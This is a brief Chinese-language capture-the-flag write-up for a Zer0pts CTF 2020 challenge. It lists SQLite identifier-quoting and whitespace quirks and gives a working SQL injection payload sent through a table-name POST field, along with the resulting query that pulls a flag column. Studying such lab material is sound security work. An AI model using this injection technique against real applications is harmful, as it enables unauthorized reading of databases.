題目復現鏈接:https://buuoj.cn/challenges
參考鏈接:Zer0pts CTF 2020
sqlite bypass技巧
-
select的時候,當列名用空白字符隔開時,sqlite只會把空格之前的字符當做列名,並且忽視空格后的字符
-
[]
和'
、"
、`
、一樣可以包裹列名
-
sqlite可以
create table ... as select ...
解題
posttable_name=[aaa]as select [flag_2a2d04c3][&columns[0][name]=]from flag_bf1811da;&columns[0][type]=2
最后拼接出來的sql語句是
create table [aaa] as select [flag_2a2d04c3][(dummy1 TEXT, dummy2 TEXT,`]from flag_bf1811da;`2);